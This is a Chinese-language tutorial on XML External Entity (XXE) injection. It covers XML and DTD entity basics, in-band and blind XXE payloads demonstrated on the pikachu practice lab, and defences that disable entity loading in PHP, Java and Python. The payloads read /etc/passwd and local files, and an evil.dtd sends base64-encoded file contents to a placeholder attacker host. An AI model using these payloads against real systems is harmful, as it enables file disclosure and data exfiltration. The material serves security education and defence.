1. XXE漏洞描述

XXE(XML External Entity Injection)又称为“XML外部实体注入漏洞”。

允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。

2. XML简介

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
主要分为三部分:
文档类型定义(Document Type Definition,DTD),即XML的布局语言;
可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
可扩展链接语言(Extensible Link Language,XLL)。

2.1 XML与HTML的区别

XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。

2.2 XML文档构建模块

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:元素、属性、实体、PCDATA、CDATA

2.2.1 实体

实体是用来定义普通文本的变量。实体引用是对实体的引用。
实体又分为一般实体参数实体

  • 一般实体
    -<!ENTITY 实体名称 "实体内容">
    引用一般实体的方法:&实体名称;
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
在XML实体中适用
  • 参数实体
    -参数实体的声明:<!ENTITY % 实体名称 "实体内容">
    引用参数实体的方法:%实体名称;
<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"><!ENTITY % dtd SYSTEM "http://localhost/evil.xml">%dtd;%send;]><a></a>

2.2.2 PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
在DTD中,指定某个标签中的内容是字符数据。由于它的内容也是需要解析器来解析的,所有仍然需要转换>, <, &, ', "这5个特殊字符。

在DTD中声明:<!ELEMENT name (#PCDATA)> 它表示在<name>和</name>标签之间可以插入字符或者子标签。

2.2.3 CDATA

CDATA 的意思是字符数据(character data),CDATA 是不会被解析器解析的文本。
在DTD中,指定标签中某个属性的类型为字符型。如果需要使用>, <, &, ', "这5个特殊字符,应当用对应的替代替代字符来表示

在DTD中声明:<!ATTLIST a b CDATA> 它表示在a这个标签中,b属性应该是字符类型。比如 <a b="female">

<![CDATA[...]]>:内容不必被XML解析器解析时,使用<![CDATA[...]]>,经常把程序代码嵌入到<![CDATA[...]]>中

在XML中声明:<![CDATA[if(i<10){System.out.println("i<10");}]]>

3. DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

3.1 DTD实体

DTD实体中,又分为内部实体声明外部实体声明

  • 内部实体声明 :<!ENTITY entity-name "entity-value">
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">XML 实例:
<author>&writer;&copyright;</author>
  • 外部实体声明:<!ENTITY entity-name SYSTEM "URI/URL">
DTD 实例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">XML 实例:
<author>&writer;&copyright;</author>

4. XXE分类

4.1 有回显

以pichaku靶场为例。
直接抓包,定义回显内容为dsfdsfsf(标签可以自定义)

放包,内容会回显到页面。

或者直接输入payload,又分为两种,内部实体和外部实体。

  • 外部实体声明
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>


当读取的数据存在特殊符号的时候,我们可以用<![CDATA[...]]>,因为XML中不允许出现特殊符号。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]> <roottag>&all;</roottag>

evil.dtd

<!ENTITY all "%start;%goodies;%end;">

调用过程:%dtd调用了了http://ip/evil.dtd文件,然后&all;调用文件中的%start;%goodies;%end;

  • 内部实体声明
    只能读取文件。
<?xml version="1.0"?>
<!DOCTYPE note [     <!ENTITY cc "qq">    ]>
<nn>&cc;</nn>

4.2 无回显

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "file:///d:/evil.dtd">
%dtd;%payload;%send;
]>
<a></a>

evil.dtd

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://ip:9999?content=%file;'>">

这里evil.dtd中send前面百分号要进行html实体编码,因为实体的值中不能出现%

5. 漏洞危害

  • 读取任意文件
  • 执行系统命令
  • 探测内网端口
  • 攻击内网网站

6. XXE防御

方案:使用开发语言提供的禁用外部实体的方法

  1. PHP:
libxml_disable_entity_loader(true);
  1. JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  1. Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

参考资料:
https://blog.csdn.net/bylfsj/article/details/101441734
https://www.cnblogs.com/backlion/p/9302528.html
https://www.bilibili.com/video/BV1Hh411C7oT?from=search&seid=17532396550623932836&spm_id_from=333.337.0.0

XXE(XML外部实体注入)详解相关推荐

  1. XXE(XML外部实体注入)漏洞

    如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...

  2. pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)

    目录 一.来自官方的介绍以及来自民间的扩展 1.pikachu官方简介 2.小女子之前画的脑图 3.两个不错的博客 二.小白菜的闯关 1.查看系统文件内容 2.查看php源代码 3.爆破开放端口 三. ...

  3. XML外部实体注入漏洞——XXE简单分析

    前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...

  4. Xml外部实体注入漏洞(XXE)与防护

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  5. XML外部实体注入(XXE)的原理和应用

    文章目录 XXE注入 一.XML简介 二.XML实体 三.CTF中XEE攻击 XXE注入 XXE注入全称是xml external entity 注入,也就是xml外部实体注入.XXE漏洞发生在应用程 ...

  6. 【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  7. XML 外部实体注入漏洞

    0x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传 ...

  8. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection" 既"xml外部实体注入漏洞". 概括一下就是"攻击者通过向服务器注入指定的x ...

  9. Web Hacking 101 中文版 十四、XML 外部实体注入(一)

    十四.XML 外部实体注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程 ...

最新文章

  1. 红黑树分为红和黑有什么好处_彻底搞懂红黑树
  2. 题目1009:二叉搜索树
  3. PYTHON学习0022:函数基本介绍----2019-6-17
  4. 删除所有数据_批量删除空白单元格,只会Ctrl+G定位就out了,全部三种方法都在这...
  5. Vue3 VSCode新建项目报错The template root requires exactly one element.
  6. 删除microsoft_如何从您的Microsoft帐户中删除设备
  7. Xcode9的xib只支持iOS7.0及以上版本
  8. 女大学生两块钱成功进外企
  9. 真实的金陵十三钗:15名传教士的爱与泪
  10. mapreduce分组统计_mongodb中使用mapreduce进行分组统计
  11. Navicat实用功能:数据备份与结构同步
  12. android color列表,Android应用资源---状态颜色列表(Color State List)
  13. openmpi和blcr
  14. [Linux网络编程]高并发-Epoll模型
  15. Python 的切片语法为什么不会出现索引越界呢?
  16. 2020.11.16-使用Arduino测速
  17. 网页中使用阿里图标iconfont
  18. Windows 10 耳机插入前面板没反应的解决方案
  19. 方舟服务器显示等待发布,《明日方舟》开服既炸服的这波操作《方舟生存进化》永远也学不会...
  20. 《巴尔干两千年》pdfmobiepub电子版

热门文章

  1. 【每日一练】python实现九宫格数独小游戏
  2. 英文期刊名中常见的单词缩写 (个人整理不全面),后续还会整理。。。。
  3. 常用spaceclaim脚本(三)
  4. Ubuntu 搜狗输入法显示繁体,一直不显示简体
  5. 电脑重启bootmgr_电脑启动不了显示bootmgr
  6. (附源码)ssm医药销售管理系统 毕业设计 042322
  7. 刷机一直请求shsh_重磅,苹果刷机验证服务器异常(SHSH),大部分老版本开放降级,请速度降级或者备份SHSH2【已关闭】...
  8. asp.net 中的gridview 之gridview 分页
  9. 迅雷服务器未响应,给你传授win10系统打开迅雷就卡死无响应的图文方法
  10. 【CEGUI】资源加载流程